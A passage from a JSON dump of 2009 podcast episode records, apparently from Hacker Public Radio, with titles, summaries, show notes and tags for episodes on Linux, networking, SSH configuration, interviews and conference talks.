\n\nSAP's Launchpad Page:\n
\nhttps://launchpad.net/sap+\n\n

\n\nMusic In This Episode: \n
\nPineapple Rag \nby the one and only Scott Joplin; a recording of the piano roll (the original electronica -- or would that \nbe mechanica?), available in ogg vorbis, among other formats, at the Internet Archive.","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"audio player,command line","version":0,"downloads":3262,"valid":1}, {"id":376,"date":"2009-06-09","title":"How I Found Linux 005","duration":1741,"summary":"Monsterb introduces audio clips sent in by Linux users","notes":"How I Found Linux 005

\nRandy Noseworthy - The Juiced Penguin & Randomized Radio Netcast
\n
\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\n","hostid":99,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"mainframe,Redhat,Ubuntu,Puppy Linux,Chess Griffin","version":0,"downloads":2174,"valid":1}, {"id":377,"date":"2009-06-10","title":"Future of Artificial Intelligence in Open Source","duration":3558,"summary":"Utah Open Source Conference - The Future of Artificial Intelligence","notes":"Recent developments in Artificial Intelligence have enabled a basic computer system with no additional components to advance from a beginner in chess, to a master level in less than 300 games. This presentation will examine what a learning algorithm consists of, and why it may be important to Open Source in the future. By the end of this presentation the audience should have a foundational knowledge of what AI is and whether it may be useful in their own projects.","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"artificial intelligence,open source software,neural net,data mining","version":0,"downloads":1651,"valid":1}, {"id":378,"date":"2009-06-11","title":"apt-move","duration":691,"summary":"Deepgeek talks about apt-move","notes":"Deepgeek talks about apt-move","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Debian,apt packages","version":0,"downloads":2105,"valid":1}, {"id":379,"date":"2009-06-12","title":"SSL Ep 1 ","duration":1323,"summary":"Klaatu reveals the mysteries of self-signed SSL certificates","notes":"

Klaatu reveals the mysteries of SSL certifications and why self-signing is not such a bad thing after all.

\n

CAcert.org - the self signing collective

\n

The ogg vorbis version of this episode can be downloaded here.

","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"ssl certificate","version":0,"downloads":2250,"valid":1}, {"id":380,"date":"2009-06-15","title":"Troubleshooting Blue screens of Death","duration":435,"summary":"Ways to resolve the Blue screen of death.","notes":"

\nDebugging Tools link\n

\n

Some Common STOP codes: Bug Check 0xA: IRQL_NOT_LESS_OR_EQUAL

The \nIRQL_NOT_LESS_OR_EQUAL bug check has a value of 0x0000000A. This indicates that \nMicrosoft Windows or a kernel-mode driver accessed paged memory at \nDISPATCH_LEVEL or above.

The following parameters are displayed on \nthe blue screen. Parameter Description 1 Memory referenced 2 IRQL at time of \nreference 3 0: Read 1: Write 4 Address which referenced memory Cause This bug \ncheck is issued if paged memory (or invalid memory) is accessed when the IRQL is \ntoo high. The error that generates this bug check usually occurs after the \ninstallation of a faulty device driver, system service, or BIOS. If you \nencounter bug check 0xA while upgrading to a later version of Windows, this \nerror might be caused by a device driver, a system service, a virus scanner, or \na backup tool that is incompatible with the new version.\nIf a kernel debugger is available, obtain a stack trace.\n

\n
\n

To resolve an error caused by a faulty device driver, system service, or BIOS
1. Restart your \ncomputer.
2. Press F8 at the character-based menu that displays the operating \nsystem choices.
3. Select the Last Known Good Configuration option from the \nWindows Advanced Options menu. This option is most effective when only one \ndriver or service is added at a time.

To resolve an error caused by an \nincompatible device driver, system service, virus scanner, or backup tool
1. \nCheck the System Log in Event Viewer for error messages that might identify the \ndevice or driver that caused the error.
2. Try disabling memory caching of the \nBIOS.
3. Run the hardware diagnostics supplied by the system manufacturer, \nespecially the memory scanner. For details on these procedures, see the owner's \nmanual for your computer.
4. Make sure the latest Service Pack is installed.
5. \nIf your system has small computer system interface (SCSI) adapters, contact the \nadapter manufacturer to obtain updated Windows drivers. Try disabling sync \nnegotiation in the SCSI BIOS, checking the cabling and the SCSI IDs of each \ndevice, and confirming proper termination.
6. For integrated device electronics \n(IDE) devices, define the onboard IDE port as Primary only. Also, check each IDE \ndevice for the proper master/subordinate/stand-alone setting. Try removing all \nIDE devices except for hard disks. If the message appears during an installation \nof Windows, make sure that the computer and all installed peripherals are listed \nin the Microsoft Windows Marketplace Tested Products List.

 \n\nOther stop codes can be found at \nInterpreting Bug Check Codes","hostid":105,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Windows,Blue screen","version":0,"downloads":2351,"valid":1}, {"id":381,"date":"2009-06-16","title":"OpenOffice.org, Twisted and Python","duration":7340,"summary":"Scripting Open Office with python","notes":"Justin Findlay gave a tutorial on scripting OpenOffice.org with Python, and Paul Cannon gave an overview of Twisted","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Open Office,Python,scripting","version":0,"downloads":1570,"valid":1}, {"id":382,"date":"2009-06-17","title":"TiT Radio 002 - Potluck Roundtable","duration":4445,"summary":"Monsterb and friends host TiT Radio","notes":"Please visit https://titradio.info for shownotes and more information.
","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Wifi chips,SELF,micro atx motherboard,open street map,Celestia,gpodder","version":0,"downloads":2017,"valid":1}, {"id":383,"date":"2009-06-18","title":"TOR Interview","duration":940,"summary":"Klaatu talks to Wendy Seltzer of the TOR project","notes":"

Klaatu talks to Wendy Seltzer of the TOR project about...the TOR project. Please note that even though Klaatu continually refers to the TOR Project as \"The Onion Router\", officially the TOR Project is now properly referred to as simply \"the TOR Project\".

\n

You can download the ogg vorbis version of this episode from the Bad Apples.

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":2252,"valid":1}, {"id":384,"date":"2009-06-19","title":"Red Hat Interview","duration":693,"summary":"Klaatu talks to Eric from Red Hat","notes":"

Klaatu talks to Eric from Red Hat about RHEL, Fedora, Linux in tha corporate world, and how proprietary blockades to adopting free software can be worked around for those of us who wear ties to work.

\n

Speaking of proprietary blockades...you can download this episode as an ogg file.
\nFor extra credit, check out Red Hat's blog.

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":5186,"valid":1}, {"id":385,"date":"2009-06-22","title":"Why Xandros doesn't suck","duration":722,"summary":"Enigma reviews Xandros on the Asus eeePC","notes":"Enigma reviews Xandros on the asus eee 900 netbook","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Netbook OS review","version":0,"downloads":5463,"valid":1}, {"id":386,"date":"2009-06-23","title":"SSH config file","duration":836,"summary":"Ken talks about user friendly identities to connect to ssh","notes":"
\nGSSAPIAuthentication no\nForwardAgent yes\nEscapeChar none\nForwardX11 yes\nProtocol 2\n\nHost hometunnel\n\tUser homeuser\n\tHostname mymachine.dynamicdns.org\n\tLocalForward 8080 192.168.1.100:80\n        Port 1234\n\nHost home\n\tUser homeuser\n\tHostname mymachine.dynamicdns.org\n        Port 1234\n\nHost work\n\tUser workuser\n\tHostname mywork.mycompany.com\n        IdentityFile ~/.ssh/work_id_dsa.pub\n\nHost isp\n        User ispuser\n        Hostname isp.example.com\n        IdentityFile ~/.ssh/isp_id_dsa.pub\n
\n ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"ssh config,ssh keys,ssh agent","version":0,"downloads":2195,"valid":1}, {"id":387,"date":"2009-06-24","title":"Linux Security","duration":2634,"summary":"Mark and Darlene chat with a guest about Linux security","notes":"\nIn the episode Darlene and I chat with Mohammed Ayad, a Linux Sys admin\nfrom Lybia about Linux security and the first Linux Day held in Libya.","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Security","version":0,"downloads":2055,"valid":1}, {"id":388,"date":"2009-06-25","title":"Interview with Beth Lynn of OLF","duration":711,"summary":"Klaatu talks to Beth Lynn about Ohio Linux Fest 2009","notes":"

Klaatu first debates with his SouthEast Linux Fest pal, 8 year old Ethan, about where to conduct interviews...then talks to Beth Lynn about Ohio Linux Fest 2009 and all the new and exciting events planned for it!

\n

Get the ogg version of this episode by clicking on this link right.....here.\n

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":2287,"valid":1}, {"id":389,"date":"2009-06-26","title":"Demo or Bust 2010","duration":736,"summary":"The first in a series of HPR episodes dedicated to narrating the construction of a demo","notes":"This is the First episode of Demo or Bust 2010 by SigFLUP, which is a series of HPR episodes dedicated to narrating the construction of a demo. If you'd like to see video of this episode you may at youtube username assemblyassembly","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Demo or Bust 2010","version":0,"downloads":2266,"valid":1}, {"id":390,"date":"2009-06-29","title":"Interview with Alan Hicks","duration":1766,"summary":"Klaatu and Alan Hicks chat about Slackware","notes":"Klaatu and Alan Hicks (from the Slackbook project) chat about Slackware, 64bit support, slack hacking methodology, what's in the works for Slackbook 3.0, Slackware' intended audience, the SouthEast Linux Fest, and more.\n

Check out the book that got Klaatu addicted to Slack, Slackware Essentials
\nOr check out the revised Slackware Book project online at slackbook.org
\nAnd check out Slackware itself at slackware.com\nThis episode is also available in ogg vorbis format.","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":2350,"valid":1}, {"id":391,"date":"2009-06-30","title":"TiT Radio 003 - Potluck Roundtable","duration":5331,"summary":"Monsterb and friends host TiT Radio","notes":"This show was recorded live on June 27th 2009.

Please visit https://titradio.info for shownotes and more information.
","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Mepis,AntiX,fluxbox,irssi,Stellarium,sbopkg,slackware,firefox addon collector,bitblinder,myfi,Fedora,pkgkit","version":0,"downloads":1929,"valid":1}, {"id":392,"date":"2009-07-01","title":"Interview with Dual Core","duration":793,"summary":"Klaatu interviews int eighty and Remy from the group Dual Core.","notes":"

Klaatu interviews int eighty and Remy from the group Dual Core.

\n

You can download this interview as an ogg file.
\nCheck out Dual Core on the world wide interwebs.

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":2206,"valid":1}, {"id":393,"date":"2009-07-03","title":"Wine","duration":3563,"summary":"Meeting of the Ogden Area Linux User Group.","notes":"The June 2008 meeting of the Ogden Area Linux User Group. Seth House presented on Wine.","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Wine","version":0,"downloads":1454,"valid":1}, {"id":394,"date":"2009-07-03","title":"Networking Basics Part 4 TCP and UDP","duration":1218,"summary":"Klaatu presents his fourth episode on networking basics--covering the UDP and TCP protocols","notes":"

Klaatu continues his Network Basics series. This episode covers TCP and UDP.

\n

You can download the ogg version of this episode, or if you are using Firefox 3.5 then you can just listen to it right in your browser, by clicking here.

","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"networking,TCP,TCP/IP,UDP,Internet Protocol (IP),protocols,protocol,virtual circuit","version":0,"downloads":2307,"valid":1}, {"id":395,"date":"2009-07-06","title":"Foss Migration ","duration":2539,"summary":"Mark Clarke and Darlene Parker discuss Linux migration for small to medium sized businesses","notes":"Mark and Darlene talk to Mohammed Ayad about Linux security. A good resource for\nLinux Migration info can be found at https://www.guide.conecta.it/","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux migration,corporate business,small/medium business,SMB,security,virus,privilege escalation,open source,buy-in,needs analysis","version":0,"downloads":3774,"valid":1}, {"id":396,"date":"2009-07-07","title":"RoundTable 3 - Social Networking","duration":2906,"summary":"An HPR Round Table covering social networking websites and personal identity on the web","notes":"

In the third official Hacker Public Round Table, Klaatu, Deepgeek, and Tottenkoph talk about \"social networking\", personal information on the web, the concept of identity, and so on.

\n

Some of the links they mention in this episode are:
\nmemestreams.net
\ngoodreads
\nmydeathspace.com
\n

\n

This episode also available in glorious low quality ogg vorbis.

\n","hostid":109,"series":26,"explicit":1,"license":"CC-BY-NC-SA","tags":"social networking,roundtable,My Space,BBS,BinRev,MemeStream,GoodReads,Digg,Facebook,Twitter,Friendster,personal identity,Linkedin,Second Life","version":0,"downloads":1725,"valid":1}, {"id":397,"date":"2009-07-08","title":"Nerdapalooza 2009","duration":1599,"summary":"StankDawg interviews hex, the founder of Nerdapalooza","notes":"Stankdawg interviews the founder of Nerdapalooza which is a nerdcore event that will be held in orlando florida this weekend","hostid":55,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Nerdapalooza 2009,Nerdapalooza,nerdcore,nerd music,hiphop,festival,Florida,Child's Play Charity,charity","version":0,"downloads":1651,"valid":1}, {"id":398,"date":"2009-07-09","title":"Intro to Iptables","duration":2504,"summary":"Kevin Benko gives an introduction to Linux iptables and packet filtering","notes":"Just a brief and basic overview of IPtables with some mad ramblings about network packets, pornography, and ramen noodles.","hostid":113,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"iptables,packet,packets,networking,ipfw,ipchains,netfilter,IP filter,Linux,kernel,TCP,UDP,ICMP,IP,TCP/IP,Internet Protocol (IP),firewall,stateful firewalling,NAT","version":0,"downloads":2389,"valid":1}, {"id":399,"date":"2009-07-10","title":"Talk Geek to Me 1: WebHosting","duration":1696,"summary":"Deepgeek hosts the premier episode of Talk Geek to Me","notes":"Episode 00 of Talk Geek To Me, topic is \"webhosting.\" ","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"Webhosting","version":0,"downloads":2834,"valid":1}, {"id":400,"date":"2009-07-13","title":"Homeless where the heart is","duration":1378,"summary":"Lostnbronx has thoughts on the FOSS community","notes":"\nFOSS and the Barrier To Acceptance\n\n

\n\nmusic in this episode:\n\n

\n\nfrom\nAlienSeduction\n\n
\n\nby Giuliano Lombardo\n\n

\n\nTraner\n\n
\n\nand\n\n
\n\nInshallah\n\n

\n\nfound at The Podsafe Music Network\n","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"FOSS,community,rant","version":0,"downloads":3169,"valid":1}, {"id":401,"date":"2009-07-14","title":"web2speech","duration":754,"summary":"Converting wikipedia text to audio.","notes":"

web2speech https://kenfallon.com/wp-content/uploads/2009/06/web2speech.txt

\n\n

Converting wikipedia text to audio. https://kenfallon.com/?p=240

\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"text to speech","version":0,"downloads":2077,"valid":1}, {"id":402,"date":"2009-07-15","title":"Interview with Paul Frields of the Fedora Project","duration":1158,"summary":"Klaatu talks to Paul Frields of the Fedora Project","notes":"

Klaatu talks to Paul Frields (of the Fedora Project) about Linux in\ncomputer forensics and government.

\n

You can also get this episode in ogg vorbis courtesy the good folks over at the Bad Apple\nLinux Ogg Cast.

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"interview,Fedora","version":0,"downloads":2755,"valid":1}, {"id":403,"date":"2009-07-16","title":"TIT Radio ep 4","duration":5522,"summary":"Monsterb and friends host TiT Radio","notes":"On July 11th, 2009,  monsterb,  Peter \"J\" 64, \nAzimuth,  Artv61,  Klaatu, threethiry,  and pegwole sit\ndown at the fifth TiT roundtable.  For more information and\nshownotes. Please visit:  https://titradio.info","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Music creation,Home automation,Cloth camera,html5 video markup,hadopi router,auto-hacking router,dd-wrt,educational software,computer recycling","version":0,"downloads":1845,"valid":1}, {"id":404,"date":"2009-07-17","title":"Tikiwiki","duration":1045,"summary":"Klaatu installs Tiki Wiki","notes":"

Klaatu installs Tiki Wiki, a simple but full-featured wiki software.

\n

You may also listen to this episode in ogg vorbis.

\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"wiki,tikiwiki,mysql,php","version":0,"downloads":3820,"valid":1}, {"id":405,"date":"2009-07-20","title":"Electronic Medical Records","duration":1039,"summary":"Janedoc discusses Electronic medical records","notes":"janedoc talks about open source and electronic medical records.\n","hostid":116,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"electronic medical records","version":0,"downloads":4010,"valid":1}, {"id":406,"date":"2009-07-21","title":"Moonshine","duration":833,"summary":"Friends at SouthEast Linux Fest discuss making moonshine","notes":"

While everyone else at the SouthEast Linux Fest was watching the fine closing keynote by Mr. Paul Frields, Klaatu was hanging out in the hallways talking to Cobra2 (of unixporn.com), Alan Hicks (from the Slackbook project), and a few other SELF attendees as they discuss howto make Moonshine. Bonus topics include Brunswick Stew, moonshine mash recipes, building transmissions, and trucks.

\n

You can download this episode as an ogg file.

\n

Editor's note 2017-11-25: unixporn link adjusted in accordance with comment 1.

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":3223,"valid":1}, {"id":407,"date":"2009-07-22","title":"Mono,Java and FOSS in Education","duration":2789,"summary":"Mark and Darlene talk about Open Source in education","notes":"\nIn this episode Mark gives his views on the Mono controversy and why the\nFOSS/GNU community should embrace Java for Desktop development and to\nlevergae Linux's dominance on the server. Darlene discusses FOSS in\neducation and talks about some of the great FOSS application that are\navailable.","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"FOSS,patents,Edubuntu,ITalc,SchoolTool,Moodle,Open Office","version":0,"downloads":2205,"valid":1}, {"id":408,"date":"2009-07-23","title":"Interview with JonathanD from Freenode","duration":520,"summary":"Klaatu talks to JonathanD from the Freenode IRC network","notes":"

Klaatu talks to JonathanD of the Freenode network.

\n

The Free-as-in-Node Podcast
\ngeeknic
\nThe ogg version of this episode.

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":3665,"valid":1}, {"id":409,"date":"2009-07-24","title":"Bug Reporting","duration":640,"summary":"Klaatu talks to Mackenzie at the SouthEast Linux Fest about bug reporting","notes":"

In this exciting continuation of HPR Episode 92, Klaatu talks to Mackenzie at the SouthEast Linux Fest about bug reporting and bug triaging.

\n

Download this here episode over yonder in the ogg vorbis format.

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":1706,"valid":1}, {"id":410,"date":"2009-07-27","title":"How I found Linux Part 6 ","duration":1686,"summary":"Monsterb introduces audio clips sent in by Linux users","notes":"How I Found Linux 006

\n_guitarman_ - Open Source Musician
\nOscar Dacht
\nNoel (weirdedout)
\nEddie
\nDaniel (linuxfandan)
\nUkytreats
\n
\nCheck out https://titradio.info/howifoundlinux.html for more information.
\n
\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\n","hostid":99,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"Samba,Suse,Gentoo","version":0,"downloads":1790,"valid":1}, {"id":411,"date":"2009-07-28","title":"Free Software Foundation Interview","duration":918,"summary":"Klaatu talks to Deborah from the Free Software Foundation","notes":"

Klaatu talks to Deborah from the Free Software Foundation.

\n

The FSF
\nIf you're gonna listen to an episode about the FSF, you may as well listen to the ogg vorbis version, no?

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":1664,"valid":1}, {"id":412,"date":"2009-07-30","title":"Episode 005 - Potluck Roundtable","duration":5592,"summary":"Monsterb and friends host TiT Radio","notes":"On July 25th 2009,  monsterb,  Peter \"J\" 64,  Azimuth,\n Klaatu,  threethirty,  Snacky,  and the Xokes sit\ndown at the sixth TiT roundtable.  For complete shownotes visit https://titradio.info","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"hadopi router,astronomy,zim,wiki,privacy,FreeBSD,copyright","version":0,"downloads":1640,"valid":1}, {"id":413,"date":"2009-07-30","title":"Ontario Linux Fest Interview","duration":595,"summary":"Klaatu talks to Richard W. about Open Street Maps","notes":"p>Klaatu talks to Richard W. about Open Street Maps -- why it exists, why it's important, and what it's good for -- and the upcoming Ontario Linux Fest.

\n

Download this episode in the ogg vorbis format.

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":3204,"valid":1}, {"id":414,"date":"2009-08-01","title":"Networking Basics Part 5","duration":1122,"summary":"Klaatu covers IP (Internet Protocol)","notes":"

Klaatu goes over IP (Internet Protocol), its header information, the mechanics of datagram fragmentation, and RFC 791 in general.

\n

see also RFC 791
\niana protocol number assignments

\n

Listen to this episode in ogg.

","hostid":78,"series":61,"explicit":0,"license":"CC-BY-NC-SA","tags":"networking,addressing,fragmentation","version":0,"downloads":3842,"valid":1}, {"id":415,"date":"2009-08-04","title":"Demo or Bust 2010 Part 2","duration":6198,"summary":"This episode of Demo or Bust 2010 I cover software-synthesizers","notes":"This episode of Demo or Bust 2010 I cover software-synthesizers and interview Polaris of The Northern Dragons. ","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Demo or Bust 2010","version":0,"downloads":2138,"valid":1}, {"id":416,"date":"2009-08-06","title":"Mer Project Interview","duration":510,"summary":"Klaatu interviews Andrew about the Mer project at the South East Linux Fest (SELF)","notes":"

Klaatu, at SELF, talks to Andrew from the Mer project, for the Nokia N770 and N8x0 tablets.

\n

The Mer Project
\nThis episode in ogg vorbis.

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF,interview,South East Linux Fest,Mer Project,Mer,Nokia,N770,N8x0 tablet,Maemo,operating system,conferences","version":0,"downloads":3218,"valid":1}, {"id":417,"date":"2009-08-06","title":"Mozilla Addon usability","duration":2823,"summary":"A review of usability issues and potential improvements to Mozilla's add-on functionality","notes":"

ThistleWeb discusses usability issues and potential improvements to Mozilla's add-on functionality in Firefox & Thunderbird. FAO the Mozilla community; developers & users.

\n

Screencast available here. Running time 45mins approx.

\n","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Mozilla,addon,usability,Firefox,Thunderbird,search,Songbird,package management,UX design","version":0,"downloads":3680,"valid":1}, {"id":418,"date":"2009-08-07","title":"700 Numbers","duration":692,"summary":"Talk on 711 Numbers by PhreakerD7 presented at ConfCon 2009","notes":"Although we aren't really sure when exactly the first 711 number showed up, they've been kind of a phreaking anomoly over the years. They were spotted in the letters section of the 1997 Spring issue of 2600 Magazine, and have appeared on many popular phreaking forums since then, like BinRev in 2005 (https://www.binrev.com/forums/index.php/topic/11638-number-i-found-scanning)","hostid":117,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"phreaking,2600 magazine,2600,toll free,711 numbers,711,IVR,testing,social engineering,binrev,ConfCon,ConfCon 2009,conferences","version":0,"downloads":3648,"valid":1}, {"id":419,"date":"2009-08-10","title":"ConfCon09 - Project MF","duration":3381,"summary":"Talk on Project MF by df99 presented at ConfCon 2009","notes":" Shownotes ","hostid":118,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"phreaking,binrev,Project MF,blue box,Asterisk,tone generator,collector's network,ConfCon,ConfCon 2009,DTMF,touch tones,2600 magazine,2600,tandem stacking,conferences","version":0,"downloads":1968,"valid":1}, {"id":420,"date":"2009-08-12","title":"Defcon 17 Interview","duration":2922,"summary":"finux interviews ChrisJohnRiley and Frank Breedijk about Defcon 17","notes":"finux interviews ChrisJohnRiley and Frank Breedijk about Defcon 17.","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"Defcon 17,Defcon,interview,security,interview,vulnerabilities,Black Hat,conferences","version":0,"downloads":1480,"valid":1}, {"id":421,"date":"2009-08-12","title":"History of Copyright","duration":3332,"summary":"Stephen Fry talks about the History of Copyright","notes":"Stephen Fry talks about the History of Copyright","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Copyright,History","version":0,"downloads":2047,"valid":1}, {"id":422,"date":"2009-08-13","title":"Comfortably Numblock'd ","duration":778,"summary":"ThistleWeb explains 2 tips with the keypad / numlock function","notes":"

ThistleWeb explains 2 tips with the keypad / numblock function. First is numblockx, a simple app which remembers the status of the numblock key across reboots. This is already installed and running in many distros but if it's not it can be added. Second is CTRL+ALT+NUMLOCK which toggles the keypad into a different mode, allowing you to move the pointer with the keypad.

\n

Numlockx\n

\n

\n

Keyboard Pointer Control\n

    \n
  • Penguin Pete's Blog
  • \n
  • CTRL+ALT+NUMBLOCK to toggle mode on and off, there should be a beep each time you toggle
  • \n
  • 1-9 = moving pointer around the points of the compass
  • \n
  • 0 = right click
  • \n
  • enter (on keypad) = enter a menu
  • \n
  • backspace = back to previous menu
  • \n
\n

","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"numlockx","version":0,"downloads":1951,"valid":1}, {"id":423,"date":"2009-08-14","title":"Interview with Ian Geiser of the KDE Project","duration":596,"summary":"Klaatu talks to Ian Geiser of the KDE project","notes":"

Klaatu talks to Ian Geiser of the KDE project.

\n

You can download this episode as an ogg file.
\nKDE dot News

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":3064,"valid":1}, {"id":424,"date":"2009-08-17","title":"TiT Radio Episode 006","duration":5115,"summary":"Monsterb and friends host TiT Radio","notes":"Hello and welcome to TiT Radio 006!
\n  On tonights show... monsterb, Peter64, Klaatu, jlindsay,\nAzimuth, Xoke, and 330 talk about tircd,  Blood Frontier, \nConcordance,  Pro Git Book, 
\nXephyr,  KDE 4.3,  Little Brother by Cory Doctorow, \nTiny Tiny RSS,  ROX-Filer,  ROX-Desktop,  and so much\nmore.  Please visit https://titradio.info for full shownotes. \napt-get moo.
","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"FreeBSD,licensing,GPL,twitter,KDE,tinytinyrss,roxfiler,rox desktop","version":0,"downloads":1645,"valid":1}, {"id":425,"date":"2009-08-18","title":"Daves Quick Tips","duration":567,"summary":"Dave Yates brings a couple of quick tips","notes":"A couple of quick tips.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Tab mix plus,Firefox extension,grep","version":0,"downloads":1447,"valid":1}, {"id":426,"date":"2009-08-19","title":"Hacking Sprint Voicemail","duration":296,"summary":"Hacking Sprint Voicemail with willjasen","notes":"Will talks about sprint voicemail systems","hostid":29,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hacking,security,voicemail,asterisk","version":0,"downloads":2074,"valid":1}, {"id":427,"date":"2009-08-21","title":"Intro to Networking ","duration":3102,"summary":"Intro to networking at SELF 2009","notes":"Alan Hicks gives an intro to networking talk at SELF 09","hostid":158,"series":35,"explicit":1,"license":"CC-BY-NC-SA","tags":"networking,7 layer model","version":0,"downloads":2257,"valid":1}, {"id":428,"date":"2009-08-21","title":"FreeBSD Ports for Beginners","duration":639,"summary":"rkirk explains the basic usage of the FreeBSD Ports package management system.","notes":"rkirk gives an introduction to FreeBSD","hostid":114,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"FreeBSD,BSD,Ports,Beginners,package management","version":0,"downloads":1632,"valid":1}, {"id":429,"date":"2009-08-25","title":"She went back to Windows","duration":1095,"summary":"Going back to Windows","notes":"My Wife And Her New Machine\n\n

\n\nMusic in this episode:\n\n

\n\nThe incomparable \n\n
\n\n\n\nAlbert Collins\n\n\n\n
\n\nHis very brief listing at the Podsafe Music Network can be found\n\nhere, but it doesn't do this great man justice.\n\n

\n\nBy all means, check out his \n\nWikipedia page for a nice overview. His career \nwas shorter than it should have been, but he had no equal. \n\n

\n\nMay he rest in peace.\n","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Windows,FOSS,rant","version":0,"downloads":3062,"valid":1}, {"id":430,"date":"2009-08-25","title":"Copyright","duration":1035,"summary":"Xoke talks about Copyright and creative commons","notes":"Xoke talks about Copyright and creative commons","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Copyright","version":0,"downloads":2182,"valid":1}, {"id":431,"date":"2009-08-26","title":"Logwatch","duration":459,"summary":"Ken talks about Logwatch, a customizable log analysis system","notes":"Ken talks about Logwatch, a customizable log analysis system. Logwatch parses through your system's logs for a given period of time and creates a report analyzing areas that you specify, in as much detail as you require. Logwatch is easy to use and will work right out of the package on most systems. ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Logwatch","version":0,"downloads":2808,"valid":1}, {"id":432,"date":"2009-08-27","title":"How to use walkies","duration":1972,"summary":"Klaatu talks all about walkies (or \"CB Radios\") in this episode","notes":"

If you're putting on an event such as a Linux Fest, a film production, an organized [a]political demonstration, then you may find yourself using walkies (\"walkie talkies\" or \"CB Radios\"). Klaatu talks all about walkies in this episode; deciding whether to buy or rent, how to use them effectively, how to use them efficiently, and other matters of etiquette & protocol.

\n

You can also listen to this walkies episode in the free audio format, ogg vorbis.

\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"walkie talkies,SELF","version":0,"downloads":2926,"valid":1}, {"id":433,"date":"2009-08-28","title":"Demo or Bust 2010 Part 3","duration":5442,"summary":"In this episode SigFLUP talks about FM-synthesis, raytracing","notes":"\nIn this episode SigFLUP talks about FM-synthesis, raytracing, and then interviews iq of rgba \ntalking about real-time raytracing and ray marching. rgba's site can be found at rgba.org.
A \n\n\nlow-rez image of slisesix can be found at https://bayimg.com/image/ladhgaacg.jpg ","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Demo or Bust 2010","version":0,"downloads":2352,"valid":1}, {"id":434,"date":"2009-09-01","title":"HPR Roundtable 4","duration":3285,"summary":"Klaatu and friends discuss what free software apps they use to make life easier.","notes":"

Klaatu, Deepgeek, Charles from MintCast, Russ from the Techie Geek, Russ from The Linux Ham Shack, and Seal gather at the official HPR Round Table to discuss what free software apps they use to make life easier.

\n

Projects mentioned in this episode:

\n

Portable Ubuntu Remix

\n

Xming

\n

OpenSwan - IPsec for Linux

\n

Handbrake

\n

Mozilla Sunbird

\n

Filezilla

\n

